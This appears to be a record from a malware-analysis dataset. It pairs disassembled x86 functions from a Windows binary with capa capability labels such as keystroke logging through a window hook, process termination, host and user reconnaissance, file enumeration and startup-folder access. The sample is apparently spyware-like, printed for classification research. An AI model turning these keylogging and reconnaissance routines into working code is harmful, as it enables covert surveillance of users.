joyce8/EMBER2024-capa huggingface dataset:
Function at 0x45cbe0
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x43c
mov eax, dword [0x4b26f0]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [ebp + 8]
lea eax, [ebp - 0x434]
push esi
push edi
xor esi, esi
push 0x228
push esi
push eax
mov dword [ebp - 0x438], esi
call fcn.004653c0
add esp, 0xc
push esi
push 2
call sub.KERNEL32.DLL_CreateToolhelp32Snapshot
mov edi, eax
cmp edi, 0xffffffff
je 0x45cd07
lea eax, [ebp - 0x438]
mov dword [ebp - 0x438], 0x22c
push eax
push edi
call sub.KERNEL32.DLL_Process32FirstW
test eax, eax
je 0x45cd00
call fcn.00406d75
mov esi, eax
mov ecx, ebx
push esi
call fcn.0045c8e0
push esi
call fcn.0040e9f1
mov esi, dword [sym.imp.KERNEL32.DLL_CloseHandle]
pop ecx
xor eax, eax
push 0x206
push eax
mov word [ebp - 0x20c], ax
lea eax, [ebp - 0x20a]
push eax
call fcn.004653c0
add esp, 0xc
lea eax, [ebp - 0x414]
mov ecx, ebx
push eax
call fcn.0045c8e0
push dword [ebp - 0x430]
mov ecx, ebx
call fcn.0045c7e9
push dword [ebp - 0x430]
push 0
push 0x410
call dword [sym.imp.KERNEL32.DLL_OpenProcess]
mov dword [ebp - 0x43c], eax
test eax, eax
je 0x45ccd6
push 0x104
lea ecx, [ebp - 0x20c]
push ecx
push 0
push eax
call sub.PSAPI.DLL_GetModuleFileNameExW
push dword [ebp - 0x43c]
call esi
lea eax, [ebp - 0x20c]
mov ecx, ebx
push eax
call fcn.0045c8e0
lea eax, [ebp - 0x438]
push eax
push edi
call sub.KERNEL32.DLL_Process32NextW
test eax, eax
jne 0x45cc64
push edi
call esi
mov al, 1
jmp 0x45cd09
push edi
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
xor al, al
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00462f14
mov esp, ebp
pop ebp
ret

Function at 0x45cd1a
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
push edi
push dword [ebp + 8]
push 0
push 1
call dword [sym.imp.KERNEL32.DLL_OpenProcess]
mov edi, eax
test edi, edi
jne 0x45cd40
call dword [sym.imp.KERNEL32.DLL_GetLastError]
mov ecx, dword [ebp + 0xc]
mov dword [ecx], eax
xor al, al
jmp 0x45cd60
push esi
push 0
push edi
call dword [sym.imp.KERNEL32.DLL_TerminateProcess]
push edi
mov esi, eax
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
mov ecx, dword [ebp + 0xc]
and dword [ecx], 0
cmp esi, 1
pop esi
sete al
pop edi
pop ebp
ret

Function at 0x45ce86
Capabilities:
Create thread
Log keystrokes via application hook

Disassembly:
push ebp
mov ebp, esp
push ecx
push edi
xor edi, edi
push edi
push edi
push 0x45d894
push 0xd
call dword [sym.imp.USER32.dll_SetWindowsHookExW]
push edi
push edi
push 0x45d8c7
push 0xe
mov dword [0x4b9aa0], eax
call dword [sym.imp.USER32.dll_SetWindowsHookExW]
mov dword [0x4b9aa4], eax
cmp dword [0x4b9aa0], edi
je 0x45ced5
lea eax, [ebp - 4]
push eax
push edi
push edi
push 0x45ce28
push edi
push edi
call dword [sym.imp.KERNEL32.DLL_CreateThread]
mov dword [0x4b9acc], eax
pop edi
mov esp, ebp
pop ebp
ret
Function at 0x45e55c
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
push dword [ebp + 0xc]
push 0
push dword [ebp + 8]
call fcn.004653c0
add esp, 0xc
push dword [ebp + 0xc]
push dword [ebp + 8]
push 1
push 0x800
call dword [sym.imp.KERNEL32.DLL_GetLocaleInfoW]
test eax, eax
setne al
pop ebp
ret

Function at 0x45e725
Capabilities:
Get hostname

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 0xc]
push eax
push 0
push dword [ebp + 8]
mov dword [ebp + 0xc], eax
call fcn.004653c0
add esp, 0xc
lea eax, [ebp + 0xc]
push eax
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.DLL_GetComputerNameW]
test eax, eax
jne 0x45e751
xor al, al
pop ebp
ret
cmp dword [ebp + 0xc], 0
seta al
pop ebp
ret

Function at 0x45e75a
Capabilities:
Get session user name

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 0xc]
push eax
push 0
push dword [ebp + 8]
mov dword [ebp + 0xc], eax
call fcn.004653c0
add esp, 0xc
lea eax, [ebp + 0xc]
push eax
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_GetUserNameW]
test eax, eax
jne 0x45e786
xor al, al
pop ebp
ret
cmp dword [ebp + 0xc], 0
seta al
pop ebp
ret

Function at 0x45e7ff
Capabilities:
Create thread
Resume thread

Disassembly:
push ebp
mov ebp, esp
mov edx, dword [ebp + 8]
push esi
mov esi, ecx
lea eax, [esi + 4]
mov dword [esi + 0xc], edx
push eax
push 4
push edx
push dword [esi + 8]
push 0
push 0
call dword [sym.imp.KERNEL32.DLL_CreateThread]
mov dword [esi], eax
test eax, eax
je 0x45e838
push eax
mov byte [esi + 0x11], 1
call dword [sym.imp.KERNEL32.DLL_ResumeThread]
push dword [esi]
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
mov al, byte [esi + 0x11]
pop esi
pop ebp
ret 4

Function at 0x45ed50
Capabilities:
Create directory

Disassembly:
push 8
mov eax, 0x481443
call fcn.00462fb8
mov esi, ecx
push 0
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.DLL_CreateDirectoryW]
test eax, eax
jne 0x45ed79
push dword [ebp + 8]
mov ecx, esi
call fcn.00460172
jmp 0x45edb1
lea ecx, [ebp - 0x14]
call fcn.0045c6ec
and dword [ebp - 4], 0
lea ecx, [ebp - 0x14]
push 2
call fcn.0045c7e9
push 0xb
lea ecx, [ebp - 0x14]
call fcn.0045c7e9
mov ecx, dword [esi + 0x58]
lea eax, [ebp - 0x14]
push eax
call fcn.00403510
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x14]
call fcn.0045c702
call fcn.00462f86
ret 4
Function at 0x45edb9
Capabilities:
Copy file
Delete file

Disassembly:
push 0x30
mov eax, 0x481c72
call fcn.00462fb8
mov esi, ecx
cmp dword [ebp + 0xc], 0
jne 0x45ee38
push 7
pop ecx
xor eax, eax
lea edi, [ebp - 0x3c]
rep stosd dword es:[edi], eax
push 0x14
stosw word es:[edi], ax
mov eax, dword [ebp + 8]
xor edi, edi
mov dword [ebp - 0x34], eax
pop eax
mov word [ebp - 0x2c], ax
lea eax, [ebp - 0x3c]
push eax
mov dword [ebp - 0x3c], edi
mov dword [ebp - 0x38], 3
mov dword [ebp - 0x30], edi
mov dword [ebp - 0x2a], edi
mov dword [ebp - 0x22], edi
mov dword [ebp - 0x26], edi
call dword [sym.imp.SHELL32.dll_SHFileOperationW]
lea ecx, [ebp - 0x14]
call fcn.0045c6ec
push 2
lea ecx, [ebp - 0x14]
mov dword [ebp - 4], edi
call fcn.0045c7e9
push 0xc
lea ecx, [ebp - 0x14]
call fcn.0045c7e9
mov ecx, dword [esi + 0x58]
lea eax, [ebp - 0x14]
push eax
call fcn.00403510
lea ecx, [ebp - 0x14]
jmp 0x45ee87
xor edi, edi
inc edi
cmp dword [ebp + 0xc], edi
jne 0x45ee90
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.DLL_DeleteFileW]
test eax, eax
jne 0x45ee59
push dword [ebp + 8]
mov ecx, esi
call fcn.00460172
jmp 0x45ee90
lea ecx, [ebp - 0x1c]
call fcn.0045c6ec
push 2
lea ecx, [ebp - 0x1c]
mov dword [ebp - 4], edi
call fcn.0045c7e9
push 0xa
lea ecx, [ebp - 0x1c]
call fcn.0045c7e9
mov ecx, dword [esi + 0x58]
lea eax, [ebp - 0x1c]
push eax
call fcn.00403510
lea ecx, [ebp - 0x1c]
or dword [ebp - 4], 0xffffffff
call fcn.0045c702
call fcn.00462f86
ret 8

Function at 0x45ee98
Capabilities:
Create process on windows

Disassembly:
push 0x74
mov eax, 0x481c95
call fcn.00462feb
mov dword [ebp - 0x2c], ecx
mov esi, dword [ebp + 8]
xor eax, eax
mov ebx, dword [ebp + 0xc]
mov edi, dword [ebp + 0x10]
and dword [ebp - 0x18], 0
mov dword [ebp - 0x14], 7
mov word [ebp - 0x28], ax
and dword [ebp - 4], eax
push esi
call fcn.00403068
pop ecx
push eax
push esi
lea ecx, [ebp - 0x28]
call fcn.00402c50
push 0x48d2cc
call fcn.00403068
pop ecx
push eax
push 0x48d2cc
lea ecx, [ebp - 0x28]
call fcn.00402c50
push edi
call fcn.00403068
pop ecx
push eax
push edi
lea ecx, [ebp - 0x28]
call fcn.00402c50
push 0x40
lea eax, [ebp - 0x7c]
xorps xmm0, xmm0
push 0
push eax
movdqu xmmword [ebp - 0x3c], xmm0
call fcn.004653c0
add esp, 0xc
mov dword [ebp - 0x80], 0x44
xor eax, eax
mov dword [ebp - 0x54], 1
test bl, bl
lea ecx, [ebp - 0x3c]
push ecx
setne al
lea ecx, [ebp - 0x80]
cmp dword [ebp - 0x14], 8
push ecx
mov word [ebp - 0x50], ax
lea eax, [ebp - 0x28]
cmovae eax, dword [ebp - 0x28]
xor ecx, ecx
push ecx
push ecx
push ecx
push ecx
push ecx
push ecx
push eax
push ecx
call dword [sym.imp.KERNEL32.DLL_CreateProcessW]
test eax, eax
jne 0x45ef7e
test bl, bl
setne al
push eax
push 0
push edi
push esi
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
cmp eax, 0x20
jge 0x45ef8e
mov ecx, dword [ebp - 0x2c]
push esi
call fcn.00460172
jmp 0x45ef8e
push dword [ebp - 0x3c]
mov esi, dword [sym.imp.KERNEL32.DLL_CloseHandle]
call esi
push dword [ebp - 0x38]
call esi
push 0
push 1
lea ecx, [ebp - 0x28]
call fcn.00402b64
call fcn.00462f9a
ret 0xc
Function at 0x45fe3d
Capabilities:
Get file size

Disassembly:
push 0x14
mov eax, 0x481d8f
call fcn.00462fb8
mov ebx, ecx
push 0x4b99ac
call dword [sym.imp.KERNEL32.DLL_EnterCriticalSection]
xor edi, edi
push edi
push edi
push 3
push edi
push 1
push SysReAllocString
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.DLL_CreateFileW]
mov esi, eax
cmp esi, 0xffffffff
jne 0x45fe8e
push dword [ebp + 8]
mov ecx, ebx
call fcn.00460172
push 0x4b99ac
call dword [sym.imp.KERNEL32.DLL_LeaveCriticalSection]
jmp 0x45ff63
cmp dword [ebx + 0x5c], edi
jne 0x45fe9c
push esi
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
jmp 0x45fe7e
push 0x2c
call fcn.0046273d
pop ecx
test eax, eax
je 0x45feba
push dword [ebx + 0x5c]
mov ecx, eax
push ebx
call fcn.0045ec48
mov edi, eax
mov dword [ebp - 0x10], eax
jmp 0x45febd
mov dword [ebp - 0x10], edi
xor eax, eax
mov dword [edi + 4], esi
mov dword [edi + 0xc], eax
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x1c], eax
lea eax, [ebp - 0x20]
push eax
push esi
call dword [sym.imp.KERNEL32.DLL_GetFileSizeEx]
test eax, eax
je 0x45fe74
mov eax, dword [ebp - 0x20]
lea esi, [edi + 0x18]
and dword [edi + 0xc], 0
mov dword [edi + 0x10], eax
mov eax, dword [ebp - 0x10]
mov edi, dword [ebp + 0xc]
push 0x4b99c4
mov dword [esi], edi
and dword [eax + 0x20], 0
call dword [sym.imp.KERNEL32.DLL_EnterCriticalSection]
mov ecx, dword [ebx + 0x5c]
push esi
call fcn.0045ecb7
mov ecx, dword [ebp - 0x10]
mov esi, dword [sym.imp.KERNEL32.DLL_LeaveCriticalSection]
push 0x4b99c4
mov dword [eax], ecx
call esi
lea ecx, [ebp - 0x18]
call fcn.0045c6ec
and dword [ebp - 4], 0
lea ecx, [ebp - 0x18]
push 2
call fcn.0045c7e9
push 4
lea ecx, [ebp - 0x18]
call fcn.0045c7e9
push 0x10
push edi
lea ecx, [ebp - 0x18]
call fcn.0045c86b
mov ecx, dword [ebx + 0x58]
lea eax, [ebp - 0x18]
push eax
call fcn.00403510
push 0x4b99ac
call esi
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x18]
call fcn.0045c702
call fcn.00462f86
ret 0xc

Function at 0x460083
Capabilities:
Get disk information

Disassembly:
push 0x21c
mov eax, 0x481db5
call fcn.00462feb
mov edi, ecx
call dword [sym.imp.KERNEL32.DLL_GetLogicalDrives]
push 0x41
mov ebx, eax
lea ecx, [ebp - 0x220]
pop eax
push 0x3a
mov word [ebp - 0x18], ax
pop eax
mov word [ebp - 0x16], ax
push 0x5c
pop eax
mov word [ebp - 0x14], ax
xor eax, eax
mov word [ebp - 0x12], ax
call fcn.0045c6ec
xor esi, esi
lea ecx, [ebp - 0x220]
push 2
mov dword [ebp - 4], esi
call fcn.0045c7e9
push 1
lea ecx, [ebp - 0x220]
call fcn.0045c7e9
xor eax, eax
mov ecx, esi
inc eax
shl eax, cl
test ebx, eax
je 0x460144
lea eax, [ebp - 0x218]
push eax
lea eax, [ebp - 0x18]
push eax
call fcn.004607d9
lea eax, [ebp - 0x228]
push eax
lea eax, [ebp - 0x18]
push eax
call fcn.004607b6
add esp, 0x10
lea eax, [ebp - 0x18]
lea ecx, [ebp - 0x220]
push eax
call fcn.0045c8e0
lea eax, [ebp - 0x218]
push eax
lea ecx, [ebp - 0x220]
call fcn.0045c8e0
push 8
lea eax, [ebp - 0x228]
push eax
lea ecx, [ebp - 0x220]
call fcn.0045c86b
inc word [ebp - 0x18]
inc esi
cmp esi, 0x1a
jl 0x4600e1
mov ecx, dword [edi + 0x58]
lea eax, [ebp - 0x220]
push eax
call fcn.00403510
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x220]
call fcn.0045c702
call fcn.00462f9a
ret
Function at 0x4601e2
Capabilities:
Enumerate files on windows

Disassembly:
push 0x530
mov eax, 0x481dfe
call fcn.00462feb
mov esi, ecx
mov dword [ebp - 0x53c], esi
mov edi, dword [ebp + 8]
lea ecx, [ebp - 0x538]
call fcn.0045c6ec
and dword [ebp - 4], 0
lea ecx, [ebp - 0x538]
push 2
call fcn.0045c7e9
push 2
lea ecx, [ebp - 0x538]
call fcn.0045c7e9
push edi
lea ecx, [ebp - 0x2e0]
call fcn.00406c91
mov ebx, 0x48d2c4
mov byte [ebp - 4], 1
push ebx
call fcn.00403068
pop ecx
push eax
push ebx
lea ecx, [ebp - 0x2e0]
call fcn.00402c50
push 0x250
lea eax, [ebp - 0x530]
push 0
push eax
call fcn.004653c0
add esp, 0xc
lea ecx, [ebp - 0x530]
cmp dword [ebp - 0x2cc], 8
lea eax, [ebp - 0x2e0]
cmovae eax, dword [ebp - 0x2e0]
push ecx
push eax
call dword [sym.imp.KERNEL32.DLL_FindFirstFileW]
mov ebx, eax
push edi
cmp ebx, 0xffffffff
jne 0x46029a
mov ecx, esi
call fcn.00460172
jmp 0x460406
lea ecx, [ebp - 0x538]
call fcn.0045c8e0
and dword [ebp - 0x2b8], 0
xor eax, eax
mov dword [ebp - 0x2b4], 7
mov word [ebp - 0x2c8], ax
push 0xff
push eax
lea eax, [ebp - 0x2b0]
mov byte [ebp - 4], 2
push eax
call fcn.004653c0
push 0x50
lea eax, [ebp - 0xb0]
push 0
push eax
call fcn.004653c0
mov al, byte [ebp - 0x530]
not al
movzx esi, al
lea eax, [ebp - 0x2b0]
push eax
lea eax, [ebp - 0x51c]
shr esi, 4
push eax
and esi, 1
call fcn.00460956
lea eax, [ebp - 0xb0]
push eax
lea eax, [ebp - 0x504]
push eax
push edi
call fcn.00460857
push edi
call fcn.00403068
add esp, 0x30
lea ecx, [ebp - 0x2c8]
push eax
push edi
call fcn.00402c50
lea eax, [ebp - 0x504]
push eax
call fcn.00403068
pop ecx
push eax
lea eax, [ebp - 0x504]
push eax
lea ecx, [ebp - 0x2c8]
call fcn.00402c50
push esi
lea ecx, [ebp - 0x538]
call fcn.0045c7e9
cmp dword [ebp - 0x2b4], 8
lea eax, [ebp - 0x2c8]
lea ecx, [ebp - 0x538]
cmovae eax, dword [ebp - 0x2c8]
push eax
call fcn.0045c8e0
lea eax, [ebp - 0x2b0]
push eax
lea ecx, [ebp - 0x538]
call fcn.0045c8e0
cmp esi, 1
jne 0x4603b9
lea eax, [ebp - 0xb0]
push eax
lea ecx, [ebp - 0x538]
call fcn.0045c8e0
push dword [ebp - 0x510]
lea ecx, [ebp - 0x538]
call fcn.0045c7e9
push 1
call dword [sym.imp.KERNEL32.DLL_Sleep]
push 0
push 1
lea ecx, [ebp - 0x2c8]
mov byte [ebp - 4], 1
call fcn.00402b64
lea eax, [ebp - 0x530]
push eax
push ebx
call dword [sym.imp.KERNEL32.DLL_FindNextFileW]
test eax, eax
jne 0x4602a5
push ebx
call dword [sym.imp.KERNEL32.DLL_FindClose]
mov ecx, dword [ebp - 0x53c]
lea eax, [ebp - 0x538]
push eax
mov ecx, dword [ecx + 0x58]
call fcn.00403510
push 0
push 1
lea ecx, [ebp - 0x2e0]
call fcn.00402b64
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x538]
call fcn.0045c702
call fcn.00462f9a
ret 4

Function at 0x46042c
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ecx
xor edx, edx
cmp dword [ecx + 0x20], edx
jne 0x46044a
lea eax, [ebp - 4]
push eax
push edx
push ecx
push 0x4604a3
push edx
push edx
call dword [sym.imp.KERNEL32.DLL_CreateThread]
mov esp, ebp
pop ebp
ret
Function at 0x4607d9
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
push esi
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.DLL_GetDriveTypeW]
sub eax, 0
je 0x460827
dec eax
je 0x460827
dec eax
je 0x460820
dec eax
je 0x460819
dec eax
je 0x460812
dec eax
je 0x46080b
dec eax
je 0x460804
mov esi, str.Unknown
jmp 0x46082c
mov esi, str.RAM_Disk
jmp 0x46082c
mov esi, str.CDDVD_Drive
jmp 0x46082c
mov esi, str.Network_Drive
jmp 0x46082c
mov esi, 0x48d170
jmp 0x46082c
mov esi, str.Removable
jmp 0x46082c
mov esi, str.Invalid_Root
push 0xff
push 0
push dword [ebp + 0xc]
call fcn.004653c0
add esp, 0xc
push esi
call dword [sym.imp.KERNEL32.DLL_lstrlenW]
add eax, eax
push eax
push esi
push dword [ebp + 0xc]
call fcn.00463680
add esp, 0xc
pop esi
pop ebp
ret

Function at 0x460857
Capabilities:
Get file system object information

Disassembly:
push 0x2d0
mov eax, 0x481e2e
call fcn.00462feb
mov eax, dword [ebp + 8]
lea ecx, [ebp - 0x28]
mov esi, dword [ebp + 0xc]
mov edi, dword [ebp + 0x10]
push eax
call fcn.00406c91
and dword [ebp - 4], 0
push esi
call fcn.00403068
pop ecx
push eax
push esi
lea ecx, [ebp - 0x28]
call fcn.00402c50
mov esi, 0x2b4
lea eax, [ebp - 0x2dc]
push esi
push 0
push eax
call fcn.004653c0
add esp, 0xc
lea ecx, [ebp - 0x2dc]
cmp dword [ebp - 0x14], 8
lea eax, [ebp - 0x28]
cmovae eax, dword [ebp - 0x28]
push 0x400
push esi
push ecx
push 0x80
push eax
call dword [sym.imp.SHELL32.dll_SHGetFileInfoW]
test eax, eax
jne 0x4608d8
mov esi, str.Unknown
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
jmp 0x4608f8
lea eax, [ebp - 0xc8]
push eax
call dword [sym.imp.KERNEL32.DLL_lstrlenW]
add eax, eax
push eax
lea eax, [ebp - 0xc8]
push eax
push edi
call fcn.00463680
add esp, 0xc
push 0
push 1
lea ecx, [ebp - 0x28]
call fcn.00402b64
call fcn.00462f9a
ret
Function at 0x46176a
Capabilities:
Convert ip address from string

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, dword [ebp + 0x10]
push edi
test esi, esi
je 0x461789
xor eax, eax
mov edi, esi
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
lea eax, [esi + 4]
push eax
push dword [ebp + 8]
push 2
jmp 0x4617a2
mov esi, dword [ebp + 0x14]
test esi, esi
je 0x4617ba
push 7
pop ecx
xor eax, eax
mov edi, esi
rep stosd dword es:[edi], eax
lea eax, [esi + 8]
push eax
push dword [ebp + 8]
push 0x17
pop edi
push edi
call dword [sym.imp.WS2_32.dll_inet_pton]
push dword [ebp + 0xc]
mov word [esi], di
call dword [sym.imp.WS2_32.dll_htons]
mov word [esi + 2], ax
pop edi
pop esi
pop ebp
ret

Function at 0x4617be
Capabilities:
Resolve dns

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
push ebx
push edi
push 8
pop ecx
xor eax, eax
lea edi, [ebp - 0x24]
rep stosd dword es:[edi], eax
lea eax, [ebp - 4]
mov dword [ebp - 0x24], 2
push eax
lea eax, [ebp - 0x24]
xor ebx, ebx
push eax
push ebx
push dword [ebp + 8]
mov dword [ebp - 4], ebx
mov dword [ebp - 0x20], ebx
call dword [sym.imp.WS2_32.dll_GetAddrInfoW]
test eax, eax
jne 0x46182d
mov eax, dword [ebp - 4]
mov bl, 1
push esi
push dword [ebp + 0x10]
push dword [ebp + 0xc]
mov esi, dword [eax + 0x18]
push 0x17
pop edi
movzx edx, word [esi]
lea eax, [esi + 8]
cmp dx, di
lea ecx, [esi + 4]
cmove ecx, eax
push ecx
push edx
call sub.WS2_32.dll_inet_ntop
mov eax, dword [ebp + 0x14]
test eax, eax
je 0x46182c
cmp word [esi], di
sete cl
mov byte [eax], cl
pop esi
push dword [ebp - 4]
call dword [sym.imp.WS2_32.dll_FreeAddrInfoW]
pop edi
mov al, bl
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x46183e
Capabilities:
Initialize winsock library

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x194
mov eax, dword [0x4b26f0]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push 0x190
xor ebx, ebx
lea eax, [ebp - 0x194]
push ebx
push eax
call fcn.004653c0
add esp, 0xc
lea eax, [ebp - 0x194]
push eax
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
xor ecx, ecx
movzx ebx, bl
inc ecx
test eax, eax
cmove ebx, ecx
call dword [sym.imp.KERNEL32.DLL_GetLastError]
mov ecx, dword [ebp - 4]
mov al, bl
xor ecx, ebp
pop ebx
call fcn.00462f14
mov esp, ebp
pop ebp
ret
Function at 0x4618cc
Capabilities:
Get common file path
Get startup folder

Disassembly:
push 0x1c
mov eax, 0x481eec
call fcn.00462feb
mov edi, dword [ebp + 8]
xor ecx, ecx
mov esi, dword [ebp + 0xc]
xor eax, eax
mov dword [ebp - 0x14], 7
mov dword [ebp - 0x18], ecx
mov word [ebp - 0x28], ax
push edi
push ecx
push ecx
push dword [ebp + 0x10]
mov dword [ebp - 4], ecx
push ecx
call dword [sym.imp.SHELL32.dll_SHGetFolderPathW]
push edi
call fcn.00403068
pop ecx
push eax
push edi
lea ecx, [ebp - 0x28]
call fcn.00402c50
mov ebx, 0x483d38
push ebx
call fcn.00403068
pop ecx
push eax
push ebx
lea ecx, [ebp - 0x28]
call fcn.00402c50
push esi
call fcn.00403068
pop ecx
push eax
push esi
lea ecx, [ebp - 0x28]
call fcn.00402c50
push 0x104
push 0
push edi
call fcn.004653c0
cmp dword [ebp - 0x14], 8
lea ecx, [ebp - 0x28]
mov eax, dword [ebp - 0x18]
cmovae ecx, dword [ebp - 0x28]
add eax, eax
push eax
push ecx
push edi
call fcn.00463680
add esp, 0x18
lea ecx, [ebp - 0x28]
push 0
push 1
call fcn.00402b64
call fcn.00462f9a
ret

Function at 0x461972
Capabilities:
Get file attributes
Set file attributes

Disassembly:
push ebp
mov ebp, esp
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.DLL_GetFileAttributesW]
cmp eax, 0x22
je 0x46198e
push 0x22
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.DLL_SetFileAttributesW]
pop ebp
ret
Function at 0x47aba3
Capabilities:
Link many functions at runtime
Print debug messages

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x4b26f0]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov ebx, dword [sym.imp.KERNEL32.DLL_EncodePointer]
push esi
push edi
mov dword [ebp - 0x1c], eax
xor esi, esi
mov eax, dword [ebp + 0xc]
push esi
mov dword [ebp - 0x20], eax
call ebx
mov edi, eax
mov dword [ebp - 0x18], edi
call fcn.0046bebc
mov dword [ebp - 0x14], eax
cmp dword [0x4bac9c], esi
jne 0x47ac96
push 0x800
push esi
push 0x4937a8
call dword [sym.imp.KERNEL32.DLL_LoadLibraryExW]
mov edi, eax
test edi, edi
jne 0x47ac23
call dword [sym.imp.KERNEL32.DLL_GetLastError]
cmp eax, 0x57
jne 0x47ad76
push esi
push esi
push 0x4937a8
call dword [sym.imp.KERNEL32.DLL_LoadLibraryExW]
mov edi, eax
test edi, edi
je 0x47ad76
push 0x4937c0
push edi
call dword [sym.imp.KERNEL32.DLL_GetProcAddress]
test eax, eax
je 0x47ad76
push eax
call ebx
push 0x4937cc
push edi
mov dword [0x4bac9c], eax
call dword [sym.imp.KERNEL32.DLL_GetProcAddress]
push eax
call ebx
push 0x4937dc
push edi
mov dword [0x4baca0], eax
call dword [sym.imp.KERNEL32.DLL_GetProcAddress]
push eax
call ebx
push 0x4937f0
push edi
mov dword [0x4baca4], eax
call dword [sym.imp.KERNEL32.DLL_GetProcAddress]
push eax
call ebx
mov dword [0x4bacac], eax
test eax, eax
je 0x47ac93
push 0x49380c
push edi
call dword [sym.imp.KERNEL32.DLL_GetProcAddress]
push eax
call ebx
mov dword [0x4baca8], eax
mov edi, dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.DLL_IsDebuggerPresent]
test eax, eax
je 0x47acbb
mov eax, dword [ebp - 0x1c]
test eax, eax
je 0x47acae
push eax
call dword [sym.imp.KERNEL32.DLL_OutputDebugStringW]
cmp dword [ebp - 0x14], esi
je 0x47acd0
push 4
pop eax
jmp 0x47ad78
cmp dword [ebp - 0x14], esi
je 0x47acd0
push dword [0x4bac9c]
call dword [sym.imp.KERNEL32.DLL_DecodePointer]
push 3
jmp 0x47acb5
mov eax, dword [0x4baca8]
mov ebx, dword [sym.imp.KERNEL32.DLL_DecodePointer]
cmp eax, edi
je 0x47ad2e
cmp dword [0x4bacac], edi
je 0x47ad2e
push eax
call ebx
push dword [0x4bacac]
mov dword [ebp - 0x14], eax
call ebx
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x18], eax
test ecx, ecx
je 0x47ad2e
test eax, eax
je 0x47ad2e
call ecx
test eax, eax
je 0x47ad23
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call dword [ebp - 0x18]
test eax, eax
je 0x47ad23
test byte [ebp - 8], 1
jne 0x47ad2e
mov edi, dword [ebp + 0x10]
or edi, 0x200000
jmp 0x47ad5e
mov eax, dword [0x4baca0]
cmp eax, edi
je 0x47ad5b
push eax
call ebx
test eax, eax
je 0x47ad5b
call eax
mov esi, eax
test esi, esi
je 0x47ad5b
mov eax, dword [0x4baca4]
cmp eax, edi
je 0x47ad5b
push eax
call ebx
test eax, eax
je 0x47ad5b
push esi
call eax
mov esi, eax
mov edi, dword [ebp + 0x10]
push dword [0x4bac9c]
call ebx
test eax, eax
je 0x47ad76
push edi
push dword [ebp - 0x20]
push dword [ebp - 0x1c]
push esi
call eax
jmp 0x47ad78
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00462f14
mov esp, ebp
pop ebp
ret